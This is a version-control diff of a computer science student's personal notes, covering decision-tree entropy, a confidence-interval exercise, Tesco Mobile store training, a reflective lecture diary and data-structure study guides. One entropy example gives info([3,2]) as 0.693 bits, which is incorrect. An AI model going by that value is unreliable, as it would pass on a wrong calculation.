| debt = high | 4/6 | | debt = high | 4/6 |
| debt = low | 2/4 | | debt = low | 2/4 |
| **collateral = none** | **6/6** | | **collateral = none** | **6/6** |
IF Income = 0-15k AND collateral = none THEN risk = high IF Income = 0-15k AND collateral = none THEN risk = high
| Credit History | Debt | Collateral | Income | Risk | | Credit History | Debt | Collateral | Income | Risk |
@@ -59,5 +60,3 @@ IF Income = 0-15k AND collateral = none THEN risk = high
| credit history = unknown | 1/4 | | credit history = unknown | 1/4 |
| debt = high | 2/4 | | debt = high | 2/4 |
| debt = low | 2/4 | | debt = low | 2/4 |

View File

@@ -1,6 +1,7 @@
# Logarithms # Logarithms
$log_2X$ used for generating decision trees $log_2X$ used for generating decision trees
- Power to which we have to raise 2 to get X - Power to which we have to raise 2 to get X
- When using, X will be probability between 0 and 1 - When using, X will be probability between 0 and 1
- log of probability is always negative - log of probability is always negative
@@ -48,19 +49,23 @@ $log_2X$ used for generating decision trees
- Given probability distribution, info required to predict an event is the distributions entropy - Given probability distribution, info required to predict an event is the distributions entropy
- Entropy gives the information required in bits - Entropy gives the information required in bits
# $I(p_1,p_2,...,p_n)=-p_{1}\log_{2}p_1 -p_{2}\log_{2}p_2 ... -p_{n}\log_{2}p_n$ # $I(p_1,p_2,,p_n)=-p_{1}\log_{2}p_1 -p_{2}\log_{2}p_2 -p_{n}\log_{2}p_n$
Where n = number of classes, and $p_1 + p_2 + ... p_{n} = 1$
Where n = number of classes, and $p_1 + p_2 + … p_{n} = 1$
Minus signs included since output must be positive Minus signs included since output must be positive
### Expected Information for Outlook ### Expected Information for Outlook
- Outlook = Sunny - Outlook = Sunny
# $info([2,3]) = I(\frac{2}{5},\frac{3}{5}) = -\frac{2}{5}\log_2(\frac{2}{5}) - \frac{3}{5}\log_2(\frac{3}{5}) = 0.971 bits$ # $info([2,3]) = I(\frac{2}{5},\frac{3}{5}) = -\frac{2}{5}\log_2(\frac{2}{5}) - \frac{3}{5}\log_2(\frac{3}{5}) = 0.971 bits$
- Outlook = Overcast - Outlook = Overcast
# $info([4,0]) = I(\frac{4}{4},\frac{0}{4}) = -1\log_2(1) -0\log_2(0) = 0 bits$ # $info([4,0]) = I(\frac{4}{4},\frac{0}{4}) = -1\log_2(1) -0\log_2(0) = 0 bits$
- Outlook = Rainy - Outlook = Rainy
# $info([3,2]) = I(\frac{3}{5},\frac{2}{5}) = -\frac{3}{5}\log_2(\frac{3}{5}) - \frac{2}{5}\log_2(\frac{2}{5}) = 0.693 bits$ # $info([3,2]) = I(\frac{3}{5},\frac{2}{5}) = -\frac{3}{5}\log_2(\frac{3}{5}) - \frac{2}{5}\log_2(\frac{2}{5}) = 0.693 bits$
### Computing Information Gain ### Computing Information Gain

View File

@@ -1,2 +1 @@
![](Pasted%20image%2020241025132339.png) ![](Pasted%20image%2020241025132339.png)

View File

@@ -0,0 +1 @@

View File

@@ -1,18 +1,18 @@
1)
a) Binomial Distribution a) Binomial Distribution
b) Measures dispersion of probabilities with respect to a mean average value. Each possible value of S from 0 to N, the probability of observing S correct predictions given a sample of N independent examples of true accuracy P b) Measures dispersion of probabilities with respect to a mean average value. Each possible value of S from 0 to N, the probability of observing S correct predictions given a sample of N independent examples of true accuracy P
2)
a) (150 + 180 + 420) / (150 + 180 + 420 + 30 + 50 + 50 + 40 + 50 + 30) = 0.75 a) (150 + 180 + 420) / (150 + 180 + 420 + 30 + 50 + 50 + 40 + 50 + 30) = 0.75
# Variance of S $\sigma^2_S = N_p(1-p)$ # Variance of S $\sigma^2_S = N_p(1-p)$
# Std Dev of S $\sigma_S = \sqrt{N_p(1-p)}$ # Std Dev of S $\sigma_S = \sqrt{N_p(1-p)}$
# Variance in F $\sigma_f = \frac{\sigma_S}{N} = \sqrt{\frac{N_p(1-p)}{N^2}} = \sqrt{\frac{p(1-p)}{N}}$ # Variance in F $\sigma_f = \frac{\sigma_S}{N} = \sqrt{\frac{N_p(1-p)}{N^2}} = \sqrt{\frac{p(1-p)}{N}}$
# Estimate of Predictive Accuracy $\mu_f = \frac{S}{N}$ # Estimate of Predictive Accuracy $\mu_f = \frac{S}{N}$
# Successful Trials $S$
# Number of Trials $N$
# Successful Trials $S$
# Number of Trials $N$
750 Successes 1000 Trials 750 Successes 1000 Trials
S = 750 S = 750
@@ -25,8 +25,6 @@ $\mu_f \pm z \times \sigma_f = 0.75 \pm (1.28 \times 0.0137)$
$= 0.75 \pm 0.0175$ $= 0.75 \pm 0.0175$
p lies between 73.25% and 76.75%, with 80% confidence. p lies between 73.25% and 76.75%, with 80% confidence.
3)
a) a)
Stratified Holdout, data split to guarantee same distribution of class values in training and test set Stratified Holdout, data split to guarantee same distribution of class values in training and test set
b) b)

View File

@@ -1,5 +1,7 @@
# Questions # Questions
A bit of confusion in our store which we haven't been able to find out is the Code S in the training, we are unsure where that would go or if it is even still used. A bit of confusion in our store which we haven't been able to find out is the Code S in the training, we are unsure where that would go or if it is even still used.
- Purposefully write information wrong, call agent "Code S referral" - Purposefully write information wrong, call agent "Code S referral"
Churn option, loyalty bonus not clear, should say for leaving customers only. Churn option, loyalty bonus not clear, should say for leaving customers only.
- Discretion, case by case. - Discretion, case by case.
@@ -8,13 +10,14 @@ Where can we feed-back suggestions
- (Area Manager, or Manager) - (Area Manager, or Manager)
If existing customer, can we use banking app for card information If existing customer, can we use banking app for card information
Human Connection Human Connection
- Treat how wanted to be treated - Treat how wanted to be treated
- Try hard for customers - Try hard for customers
- Be yourself (already do) - Be yourself (already do)
Why Tesco Mobile? Why Tesco Mobile?
- People come to Tesco Mobile for our reliability, competitive deals and information we can give, but they stay for our consistent customer service and lack of hassle - People come to Tesco Mobile for our reliability, competitive deals and information we can give, but they stay for our consistent customer service and lack of hassle
- 1 in 100k official ofcom complaints - 1 in 100k official ofcom complaints
- EU roaming - EU roaming
@@ -24,6 +27,7 @@ Why Tesco Mobile?
- Convenience, people come with their shopping - Convenience, people come with their shopping
Why Why
- Long standing MVMO (2003) - Long standing MVMO (2003)
- 5m customers - 5m customers
- Clubcard prices - Clubcard prices
@@ -39,10 +43,12 @@ Love
- anytime upgrade - anytime upgrade
********* *********
Every upgrade, TM app. Every upgrade, TM app.
Start pushing for 4G upgrades Start pushing for 4G upgrades
Home insurance, show the excess compared to protect. Claim = higher insurance Home insurance, show the excess compared to protect. Claim = higher insurance
Log notes as much as possible on carehub, open cases and close for everything less than inquiry Log notes as much as possible on carehub, open cases and close for everything less than inquiry
**** ****
Excellent; Trustpilot Excellent; Trustpilot
@@ -52,8 +58,11 @@ Network of the year, best customer service; Uswitch (3rd year)
# Consistency # Consistency
Everyday, dedication, simple stuff. Everyday, dedication, simple stuff.
## Pillars ## Pillars
### Customer Ready <<<< ### Customer Ready <<<<
- Not distracted, someone available in our shops all the time, unless impossible - Not distracted, someone available in our shops all the time, unless impossible
- Not on phones all the time, browsing on computers, etc - Not on phones all the time, browsing on computers, etc
- If cleaning for example, be ready to drop it quickly to serve a customer - If cleaning for example, be ready to drop it quickly to serve a customer
@@ -64,7 +73,9 @@ Everyday, dedication, simple stuff.
- Stand up - Stand up
- Understand the Customer's needs - Understand the Customer's needs
- Engagement - Engagement
### Safe and Legal ### Safe and Legal
- Ensuring protection of PII - Ensuring protection of PII
- CLEANING MODE? Quantum Stores! - CLEANING MODE? Quantum Stores!
- Must Informs - Must Informs
@@ -72,13 +83,17 @@ Everyday, dedication, simple stuff.
- mpro - mpro
- Fraud - Fraud
- Panic Alarms - Panic Alarms
### Fit for Trade ### Fit for Trade
- Professional - Professional
- POS > WGLL - POS > WGLL
- Standards - Standards
- Clean, Tidy - Clean, Tidy
- Accessories and SIMs - Accessories and SIMs
### Walk out Happy ### Walk out Happy
- Teaching rather than doing - Teaching rather than doing
- SmartSwitch > Public WiFi unsafe, banking. - SmartSwitch > Public WiFi unsafe, banking.
- TM App - TM App
@@ -86,4 +101,3 @@ Everyday, dedication, simple stuff.
- App Activations - App Activations
- More time with all customers - More time with all customers
- Reduce unnecessary contact and visits - Reduce unnecessary contact and visits

View File

@@ -1,10 +1,13 @@
# Questions to ask people # Questions to Ask People
- Trade / Business Account? - Trade / Business Account?
- Colleague? - Colleague?
- Prioritise person over phone, dont ask "what phone do you have" as first question. - Prioritise person over phone, dont ask "what phone do you have" as first question.
# Tesco Families # Tesco Families
Roshni - Single, Cohabitance, Work, Middle (Class) Roshni - Single, Cohabitance, Work, Middle (Class)
- Social schedule 10 activities per week, social - Social schedule 10 activities per week, social
- Health wellness - Health wellness
- Phone 24/7 - Phone 24/7
@@ -37,6 +40,7 @@ Dawn - Rich retired, working adults
- Pleasure in top quality, pays the best for gadgets. - Pleasure in top quality, pays the best for gadgets.
# Understanding Customers # Understanding Customers
- Who are our customers - Who are our customers
- Family composition - Family composition
- Buying on behalf of someone else? - Buying on behalf of someone else?
@@ -53,6 +57,7 @@ Dawn - Rich retired, working adults
- Researcher - Researcher
# Consistent Conversations # Consistent Conversations
1. Genuine and Transparent 1. Genuine and Transparent
2. Listen Actively and Empathetic 2. Listen Actively and Empathetic
3. Focus on building relationships 3. Focus on building relationships
@@ -64,6 +69,7 @@ Dawn - Rich retired, working adults
4. Provide Value and Solve Problems 4. Provide Value and Solve Problems
# Pre-Welcome # Pre-Welcome
Looking around, eye contact Looking around, eye contact
Looking at phones rather than colleagues Looking at phones rather than colleagues
On their phones outside the shop On their phones outside the shop
@@ -79,7 +85,7 @@ Engagement
Warm Welcome Warm Welcome
Understand Needs Understand Needs
# What you See # What You See
Clothing Clothing
Uniform Uniform
@@ -88,7 +94,7 @@ Sports Watch
Shopping Basket Shopping Basket
Family Family
# What you hear # What You Hear
Most needed apps Most needed apps
Hobbies Hobbies

View File

@@ -93,6 +93,7 @@ Want to think about it - Urgency, deal only on for x days.
- Device Helps - Device Helps
- WebChat & Customer Care - WebChat & Customer Care
- SMS Support - SMS Support
## Set up Customers ## Set up Customers
Turn on WiFi calling & VoLTE Turn on WiFi calling & VoLTE
@@ -130,6 +131,7 @@ Sales IS more important than service. Service will bring people through the door
Mediocre / Good NPS in exchange for more sales is unfortunately a good thing. Mediocre / Good NPS in exchange for more sales is unfortunately a good thing.
Why do customers return to your store? Why do customers return to your store?
- CCP, satisfied with pricing. - CCP, satisfied with pricing.
- Communications sent to them. - Communications sent to them.
- Happy with customer service. - Happy with customer service.
@@ -137,5 +139,6 @@ Why do customers return to your store?
- Physical stores, can see phones and reps. - Physical stores, can see phones and reps.
- Consistent colleagues, customer knows what they're going to get. - Consistent colleagues, customer knows what they're going to get.
# Growth vs Fixed Mindset # Growth Vs Fixed Mindset
![](Pasted%20image%2020250129154055.png) ![](Pasted%20image%2020250129154055.png)

View File

@@ -0,0 +1,79 @@
### Lecture 1 - Overview and Basic Skills
The lecture focused on the importance of soft skills in career development, exploring communication, problem-solving, and time management with the goal of equipping us with knowledge to enhance our employability and prepare for professional environments.
The most relevant aspect of the session to me was the emphasis on soft skills like interpersonal communication and adaptability. As a computer scientist, these skills require enhancement to further increase employability. I also acknowledge that my ability to reflect on performance could be improved. For example, I struggle with time management and self-organisation during note taking and assignments.
While I feel I excel in problem solving, I need to work on my communication, priorities and self reflection habits; I plan to implement a structured note-taking system using digital tools, such as Obsidian, to improve my time management. Additionally, I will practice reflective writing to gain better understanding of my progress as I learn.
### Lecture 2 - CVs and Placements
The lecture focused on creating effective CVs, writing covering letters, and preparing for interviews with the goal of helping us present ourselves professionally, increasing our chances of securing job placements. The CV section stood out to me, since it applies to me the most. I learned that a CV is not a list of qualifications, but a tool to give good impressions, helping employers see how my skills align with their needs. One area I need to work on is highlighting achievements, not just duties. For example, knowing certain languages and having relevant experience - these are definitely selling points, however by incorporating metrics alongside actions, will make my CV more impactful. Additionally, I appreciated the emphasis on proofreading and clarity; I regularly overlook key requirements in briefs and skip important points. Implementing checklists for proofreading and checking grammar with tools will help improve the professionalism of my CV.
### Lecture 3 - Skills Audit
The lecture focused on understanding the importance of both soft and hard skills for computer science students, with the goal of identifying current skills, recognising gaps, and outlining actions to enhance employability. From this, I recognise my communication and interpersonal skills lack development, requiring me to rely on my problem solving, given my computer science background. For this reason, I am actively seeking out employment that will fall outside of my comfort zone to bridge this skill gap. This approach will force me to be more adaptable and versatile, developing skills I lack. Additionally, I plan to utilise the STAR technique to articulate my skills more effectively in both technical and non-technical situations by reflecting on past experiences, such as assignment feedback; Hack Camp will be perfect for this. I also acknowledge my existing skills, such as problem-solving and technical analysis, can always improve. I have just subscribed to TryHackMe, to address skill gaps in my learning.
### Lecture 4 - Personal Branding
The lecture on personal branding was both insightful and challenging. It made me think about how my actions and values shape the way others perceive me, especially in a professional context. The idea of my personal brand being something others can recognise and remember stuck with me. I appreciated the emphasis on authenticity. It made sense that my brand should reflect who I truly am, not some polished image I try to project. The suggestion to Google myself and see what others see was eye-opening—I hadnt thought about how my online presence might influence first impressions. However, I felt a bit overwhelmed by the idea of being "remarkable." The lecture mentioned that 70% of employers use social media to screen candidates, which is a stark reminder of how much my online presence matters. Im not sure how to start building that consistent, professional image across platforms like LinkedIn and social media. The STAR technique for articulating skills was also valuable. I can see how using this method in interviews would help me demonstrate my abilities more effectively. Its a practical tool that I plan to incorporate into my next application. Overall, while the concepts are daunting, they inspire me to take control of my professional identity. I need to be more intentional about how I present myself online and in person. Its a lot to juggle, but Im ready to take the first steps towards crafting a personal brand that truly reflects who I am.
The lecture focused on personal branding and its importance in career development, along with creating a compelling personal brand with the goal of enhancing self-awareness, identifying strengths and values, and learning how to effectively present it in a professional environment.
The concept of personal branding was intriguing, since I have only ever written basic CVs and a LinkedIn. Personal branding is more than listing skills on a CV; it involves presenting myself in a way that stands out and creates a lasting impression.
I was particularly inspired by the idea that my personal brand is how others perceive me, not just how I see myself. This realization is crucial for my sales role, where building rapport and trust with customers is key. I realized that consistently projecting a positive image online and in person will help me stand out in a competitive market.
One area I need to work on is aligning my personal values with my professional brand. For example, I value integrity and empathy in sales, but I need to ensure these values are evident in every interaction. Reflecting on the STAR technique (Situation, Task, Action, Result) helped me see how my actions can demonstrate these values effectively.
Additionally, I need to leverage my technical skills from computer science to position myself as a well-rounded professional. By showcasing both my technical expertise and interpersonal skills, I can appeal to a broader range of opportunities in the job market.
The concept of archetypes was insightful. I identified with the Hero archetype, which aligns with my goal of making a meaningful impact in both my academic and professional journeys. This has motivated me to start crafting a personal brand statement that reflects my values, strengths, and aspirations.
Overall, this session has equipped me with practical tools to develop a personal brand that is authentic and impactful. I plan to use platforms like LinkedIn to consistently share content, engage with industry professionals, and showcase my unique value proposition.
### Lecture 5 - CV's, Placements & Applications
As a computer science student, I recently attended a lecture focused on enhancing my CV, effective placement strategies, and the job application process. The session provided valuable insights into how to present my skills attractively to employers and secure meaningful placements.
The lecture emphasized the STAR method for structuring a CV, advising against generic applications and encouraging tailored content aligned with specific job descriptions. I appreciated the practical examples of good CV practices, such as highlighting relevant academic modules and experiences.
Regarding placements, the speaker highlighted resources like Handshake for job listings and suggested starting early to grasp opportunities. This resonated with my proactive approach, as I have been updating my CV and preparing for interviews by reflecting on past experiences in student societies and part-time work.
I found the lecture's focus on continuous learning and adaptability particularly relevant. It encouraged me to seek out tech companies recruiting in our area and highlighted the importance of research in tailoring applications. This has inspired me to be more proactive in my job hunt, ensuring each application is customised and keyword-rich.
Overall, the lecture provided actionable steps that have positively influenced my job hunting strategy. I am now more equipped to present myself effectively and navigate the application process with confidence, aligning my skills with industry needs for a successful future career.
### Lecture 6 - Peak Performance
The session focused on enhancing personal peak performance through goal-setting, possibility thinking, and developing a growth mindset. It aimed to empower attendees with tools for overcoming self-limiting behaviours and fostering lifelong learning.
The most interesting content was the concept of "possibility thinking," which encourages envisioning a world as open and positive rather than limited. This approach can be particularly valuable in a computer science context, where innovation and adaptation are key. Learning how to set clear goals and create affirmations to reinforce progress was also transformative.
Reflecting on my own journey as a computer science student, this session has made me more aware of the importance of embracing new possibilities and challenging my own limits. I plan to apply the "4As" framework (Acknowledge, Analyse, Assimilate, Apply) to better engage with academic materials and identify areas for improvement. This reflection highlights my commitment to continuous growth and resilience in pursuit of my career goals.
### Lecture 7 - Psychometric Testing
### Lecture 8 - Self Management Skills
### Lecture 9 - Working in Industry
### Lecture 10 - Professional Presence - LinkedIn
### Lecture 11 - International Opportunities
### Lecture 12 - Emotional Intelligence
### Lecture 13 - Art of Freelancing
### Lecture 14 - Professionalism and Confidence
### Lecture 15 - Assessment Insights (hmm..)
### Lecture 16 - Placement Insights and Career Journey
### Lecture 17 - Fear and Loathing in the Tech Community
### Lecture 18 - Effective Networking
### Lecture 19 - 11 P's to Success in Industry

View File

@@ -0,0 +1,51 @@
### **Plan for Final Self-Assessment Report and Weekly Reflective Diary**
#### **1. Final Self-Assessment Report**
- **Step 1:** Review the soft skills mentioned in your module (e.g., communication, teamwork, adaptability, critical thinking, problem-solving).
- **Step 2:** Identify which skills you feel comfortable claiming you possess and which ones you need to develop further.
- **Step 3:** For each skill:
- Assess your current level (high, medium, low).
- Provide a personal example using the STAR method (Situation, Task, Action, Result).
- Plan specific steps to improve (SMART goals).
- **Step 4:** Organize your report using the structure provided:
- Introduction
- List of skills (5-8)
- For each skill: assessment, reflection, example, and improvement plan.
- Concluding remarks.
### **Final Self-Assessment Report Structure**
1. **Introduction (Approx. 100 words):**
- Briefly introduce the purpose of the report.
- Mention the soft skills you will discuss (e.g., communication, teamwork, adaptability).
- State your overall approach to self-assessment.
2. **List of Skills (Approx. 200 words):**
- Choose 5-8 soft skills relevant to your context (e.g., communication, teamwork, adaptability, time management, emotional intelligence).
- For each skill:
- **Assessment:** Provide your current level (high, medium, low) with a brief explanation.
- **Reflection:** Discuss your thoughts on this skill and how it applies to your life.
- **Example:** Use the STAR method to describe a personal experience where this skill was demonstrated.
- **Improvement Plan:** Outline specific, SMART goals to enhance this skill.
3. **Concluding Remarks (Approx. 100 words):**
- Summarize your strengths and areas for development.
- Optionally, mention any additional skills you developed beyond the initial list.
---
#### **2. Weekly Reflective Diary**
- **Step 1:** Go through each week of your academic journey.
- **Step 2:** For each week:
- Describe the session or activity you attended.
- Reflect on what it meant for you (e.g., how it impacted your soft skills).
- Highlight the most useful part and what you learned.
- **Step 3:** Use reflective phrases provided in your lectures to structure your thoughts.
---
### **Additional Tips**
- **Revisit Resources:** Use the soft skills audit, personality test, and previous self-reflection reports to gather evidence.
- **Be Honest:** Be truthful about your strengths and areas for improvement.
- **Be Specific:** Use concrete examples and SMART goals to make your plans actionable.

Binary file not shown.

Submodule Client Server Systems/Ecobuddy updated: 8de2b7f29e...709596eea2

View File

@@ -5,6 +5,7 @@ This study guide provides an in-depth overview of the Abstract Data Type (ADT) L
## 1. Overview of Linear Lists ## 1. Overview of Linear Lists
A linear list is a sequential collection of elements where each element can be accessed via an index. For instance, an instance of a linear list is represented as (e0, e1, e2, …, en-1), where: A linear list is a sequential collection of elements where each element can be accessed via an index. For instance, an instance of a linear list is represented as (e0, e1, e2, …, en-1), where:
- $e_i$ denotes the i-th element. - $e_i$ denotes the i-th element.
- $n$ is the finite size of the list, with n >= 0. - $n$ is the finite size of the list, with n >= 0.
- $e_0$ is the first element and en-1 is the last. - $e_0$ is the first element and en-1 is the last.
@@ -54,6 +55,7 @@ Element[0], Element[1], Element[2], ...
### 5.1 Array-Based Implementation ### 5.1 Array-Based Implementation
The array-based implementation is straightforward: The array-based implementation is straightforward:
- **Class Declaration**: Define a class for the ArrayLinearList. - **Class Declaration**: Define a class for the ArrayLinearList.
- **Data Members**: Utilize a protected array (Object[]) for storing elements and a variable to track size. - **Data Members**: Utilize a protected array (Object[]) for storing elements and a variable to track size.
- **Constructor Example**: Create constructors to initiate the list with a default or user-defined size. - **Constructor Example**: Create constructors to initiate the list with a default or user-defined size.
@@ -68,6 +70,7 @@ A linked list version of the linear list provides dynamic memory allocation, whe
## 6. Method Implementations in ADT Linear List ## 6. Method Implementations in ADT Linear List
Each method associated with the ADT Linear List is essential for its functionality: Each method associated with the ADT Linear List is essential for its functionality:
- **isEmpty()**: Returns true if the size is 0. - **isEmpty()**: Returns true if the size is 0.
- **size()**: Simply returns the count of elements. - **size()**: Simply returns the count of elements.
- **get(int index)**: Requires validating the index with *checkIndex()* before accessing the array. - **get(int index)**: Requires validating the index with *checkIndex()* before accessing the array.

View File

@@ -18,7 +18,6 @@ An **abstract data type (ADT)** is a model that defines the high-level operation
- Checking if the linked list is empty. - Checking if the linked list is empty.
This abstraction helps programmers focus on what functionalities the data structure must provide, rather than how those functionalities will be executed. This abstraction helps programmers focus on what functionalities the data structure must provide, rather than how those functionalities will be executed.
## Key Concepts: Abstraction, Modularization, and Encapsulation ## Key Concepts: Abstraction, Modularization, and Encapsulation
@@ -29,7 +28,6 @@ Two significant programming principles are reviewed: **abstraction** and **modul
2. **Modularization:** By dividing problems into smaller sub-problems, programmers can tackle complex issues more efficiently. 2. **Modularization:** By dividing problems into smaller sub-problems, programmers can tackle complex issues more efficiently.
**Encapsulation** works closely with these concepts by bundling data and methods that operate on that data into a single entity, such as a class in Java, thus hiding the internal state and requiring interaction only through specified methods. **Encapsulation** works closely with these concepts by bundling data and methods that operate on that data into a single entity, such as a class in Java, thus hiding the internal state and requiring interaction only through specified methods.
## Types of Data Structures ## Types of Data Structures
@@ -52,7 +50,6 @@ Several fundamental data structures form the backbone of programming:
- **Graphs:** These consist of nodes and edges, representing pairwise relationships among elements. - **Graphs:** These consist of nodes and edges, representing pairwise relationships among elements.
## Concrete Implementations of ADTs ## Concrete Implementations of ADTs
Within programming languages, data structures can act as concrete implementations of abstract data types. For example, an ArrayList in Java offers a collection of elements and operations but obscures the underlying organizational structure, demonstrating the principle of information hiding. Within programming languages, data structures can act as concrete implementations of abstract data types. For example, an ArrayList in Java offers a collection of elements and operations but obscures the underlying organizational structure, demonstrating the principle of information hiding.

View File

@@ -1,27 +1,23 @@
## Advantages ## Advantages
- This has the advantage of making certain actions easier to perform but at the cost of increased maintenance of the code overall. - This has the advantage of making certain actions easier to perform but at the cost of increased maintenance of the code overall.
- Allows traversal of nodes in both direction which is not possible in singly linked list. - Allows traversal of nodes in both direction which is not possible in singly linked list.
- Can allocate or de-allocate memory easily when required during its execution. - Can allocate or de-allocate memory easily when required during its execution.
- It is one of most efficient data structure to implement when traversing in both direction is required. - It is one of most efficient data structure to implement when traversing in both direction is required.
## Disadvantages ## Disadvantages
- Using extra memory when compared to array and singly linked list. - Using extra memory when compared to array and singly linked list.
- Slow in search as its elements are stored randomly in memory, hence elements are accessed sequentially (no direct access is allowed). - Slow in search as its elements are stored randomly in memory, hence elements are accessed sequentially (no direct access is allowed).
## ADT Liner list could be implemented by two ways: ## ADT Liner List Could Be Implemented by Two Ways:
- Array - Array
- Used when you search is the highest priority - Used when you search is the highest priority
- Linked list - Linked list
- Singly linked list - Singly linked list
- Used when you addition/deletion is the highest priority - Used when you addition/deletion is the highest priority
- Doubly linked list - Doubly linked list
- Used when you addition/deletion is the highest priority - Used when you addition/deletion is the highest priority
- Navigate next and pervious - Navigate next and previous

View File

@@ -31,7 +31,6 @@ At the core of Java's exception handling is the **Throwable** class, which serve
- **Exception**: Represents conditions that a user application might want to catch. - **Exception**: Represents conditions that a user application might want to catch.
Within the Exception hierarchy, we find numerous subclasses such as **IOException** and **RuntimeException**, which themselves have numerous subclasses. For example: Within the Exception hierarchy, we find numerous subclasses such as **IOException** and **RuntimeException**, which themselves have numerous subclasses. For example:
- **IOException** can lead to specific exceptions like: - **IOException** can lead to specific exceptions like:
@@ -50,7 +49,6 @@ Within the Exception hierarchy, we find numerous subclasses such as **IOExceptio
- **IllegalArgumentException** - **IllegalArgumentException**
## Dealing with Exceptions ## Dealing with Exceptions
Handling exceptions can be approached in two primary ways: Handling exceptions can be approached in two primary ways:
@@ -59,7 +57,6 @@ Handling exceptions can be approached in two primary ways:
- **Propagating the Exception**: Alternatively, the method can propagate the exception, allowing higher levels of the program to handle it. This is done by throwing the exception again after catching it or not catching it at all. - **Propagating the Exception**: Alternatively, the method can propagate the exception, allowing higher levels of the program to handle it. This is done by throwing the exception again after catching it or not catching it at all.
### Catch Blocks Example ### Catch Blocks Example
A fundamental aspect of handling exceptions is the use of a **try** and **catch** block: A fundamental aspect of handling exceptions is the use of a **try** and **catch** block:
@@ -73,7 +70,7 @@ A fundamental aspect of handling exceptions is the use of a **try** and **catch*
> } > }
> ``` > ```
Here, _XXXException_ can be various types of exceptions, such as **IOException** or **RuntimeException**. When multiple types of exceptions can be thrown, several catch blocks can be utilized, ordered from the most specific to the most general. For instance: Here, *XXXException* can be various types of exceptions, such as **IOException** or **RuntimeException**. When multiple types of exceptions can be thrown, several catch blocks can be utilized, ordered from the most specific to the most general. For instance:
> ``` > ```
> try { > try {

View File

@@ -10,7 +10,6 @@ The Linear List can be implemented using different structures, including linked
- Doubly-linked list - Doubly-linked list
Each of these implementations has its unique characteristics, advantages, and considerations. Each of these implementations has its unique characteristics, advantages, and considerations.
## Sizes of Primitive Data Types ## Sizes of Primitive Data Types
@@ -25,7 +24,6 @@ Understanding the size of primitive types is fundamental in memory allocation:
- **long & double** - 8 bytes - **long & double** - 8 bytes
It's important to note that, in modern 64-bit Java Virtual Machines (JVM), the minimum size of an object is 16 bytes due to the header size and padding requirements. It's important to note that, in modern 64-bit Java Virtual Machines (JVM), the minimum size of an object is 16 bytes due to the header size and padding requirements.
## Linked List vs. Array List ## Linked List vs. Array List
@@ -36,7 +34,6 @@ When comparing Array Lists and Linked Lists:
- **Memory Overhead**: Linked Lists consume more memory because each node contains a reference to both the next and, in doubly-linked lists, the previous node, which increases complexity and size. - **Memory Overhead**: Linked Lists consume more memory because each node contains a reference to both the next and, in doubly-linked lists, the previous node, which increases complexity and size.
## Memory Allocation Concepts ## Memory Allocation Concepts
Memory allocation for both primitive types and objects follows specific rules: Memory allocation for both primitive types and objects follows specific rules:
@@ -55,7 +52,6 @@ Some common operations performed on linked lists include:
- **Removal**: Similar to insertion, removal requires accessing the right node and adjusting pointers to maintain list integrity. - **Removal**: Similar to insertion, removal requires accessing the right node and adjusting pointers to maintain list integrity.
### Algorithm Visualizations ### Algorithm Visualizations
Visual representations can help understand operations such as inserting or deleting nodes. For example, to insert a node in a linked list, one must: Visual representations can help understand operations such as inserting or deleting nodes. For example, to insert a node in a linked list, one must:
@@ -64,7 +60,6 @@ Visual representations can help understand operations such as inserting or delet
2. Adjust the pointers of the surrounding nodes to include the new node. 2. Adjust the pointers of the surrounding nodes to include the new node.
## Doubly-Linked Lists ## Doubly-Linked Lists
Doubly-linked lists add an extra pointer, allowing traversal in both forward and backward directions, enhancing flexibility: Doubly-linked lists add an extra pointer, allowing traversal in both forward and backward directions, enhancing flexibility:
@@ -73,7 +68,6 @@ Doubly-linked lists add an extra pointer, allowing traversal in both forward and
- **Disadvantages**: They require more memory for pointers and tend to have slower access times due to their random memory allocation. - **Disadvantages**: They require more memory for pointers and tend to have slower access times due to their random memory allocation.
### Inserting and Deleting in Doubly-Linked Lists ### Inserting and Deleting in Doubly-Linked Lists
The process of inserting or deleting nodes involves managing the **prev** and **next** pointers to maintain the structure of the list. As illustrated: The process of inserting or deleting nodes involves managing the **prev** and **next** pointers to maintain the structure of the list. As illustrated:
@@ -82,7 +76,6 @@ The process of inserting or deleting nodes involves managing the **prev** and **
2. For deletion, ensure that surrounding nodes bypass the removed node, effectively maintaining list integrity. 2. For deletion, ensure that surrounding nodes bypass the removed node, effectively maintaining list integrity.
## Key Takeaways ## Key Takeaways
In conclusion, choosing between an array and a linked list largely depends on the intended operations: In conclusion, choosing between an array and a linked list largely depends on the intended operations:
@@ -95,5 +88,4 @@ In conclusion, choosing between an array and a linked list largely depends on th
- **Doubly Linked List**: Ideal when navigating both forwards and backwards is necessary. - **Doubly Linked List**: Ideal when navigating both forwards and backwards is necessary.
Understanding these structures and their operations is essential for effective programming and data management. Understanding these structures and their operations is essential for effective programming and data management.

View File

@@ -1,4 +1,5 @@
## What is an interface? ## What is an Interface?
- An interface is a device or a system that unrelated entities use to interact. - An interface is a device or a system that unrelated entities use to interact.
- A remote control is an interface between you and a television set. - A remote control is an interface between you and a television set.
@@ -6,10 +7,7 @@ basically the interface has and abstract method which classes have to implement
Concert realisation of the otherwise abstract method. Concert realisation of the otherwise abstract method.
## What is a Linked List?
## What is a linked list?
- On the linked list every node is an object. - On the linked list every node is an object.
- Has more memory overhead than an ArrayList. - Has more memory overhead than an ArrayList.
@@ -18,5 +16,5 @@ Concert realisation of the otherwise abstract method.
- Its dynamic, the size of it changes with every change. - Its dynamic, the size of it changes with every change.
# Protected # Protected
prevents the method to be used by anyone but its sub classes.
prevents the method to be used by anyone but its sub classes.

View File

@@ -8,9 +8,9 @@ A queue is an important abstract data type (ADT) characterised by its FIFO (Firs
- **Structure:** A queue consists of two primary ends: - **Structure:** A queue consists of two primary ends:
- _Front:_ The position from which elements are removed. - *Front:* The position from which elements are removed.
- _Rear:_ The position where elements are added. - *Rear:* The position where elements are added.
- **Core Operations:** The basic operations associated with a queue are: - **Core Operations:** The basic operations associated with a queue are:
@@ -22,7 +22,6 @@ A queue is an important abstract data type (ADT) characterised by its FIFO (Firs
- **remove():** Removes and returns the front element. - **remove():** Removes and returns the front element.
## Queue Applications ## Queue Applications
Queues have various applications due to their structure, such as: Queues have various applications due to their structure, such as:
@@ -33,7 +32,6 @@ Queues have various applications due to their structure, such as:
- Handling jobs in a network printer which generally follows a FIFO order. - Handling jobs in a network printer which generally follows a FIFO order.
## Queue Representation ## Queue Representation
Queues can be implemented in two ways: Queues can be implemented in two ways:
@@ -42,7 +40,6 @@ Queues can be implemented in two ways:
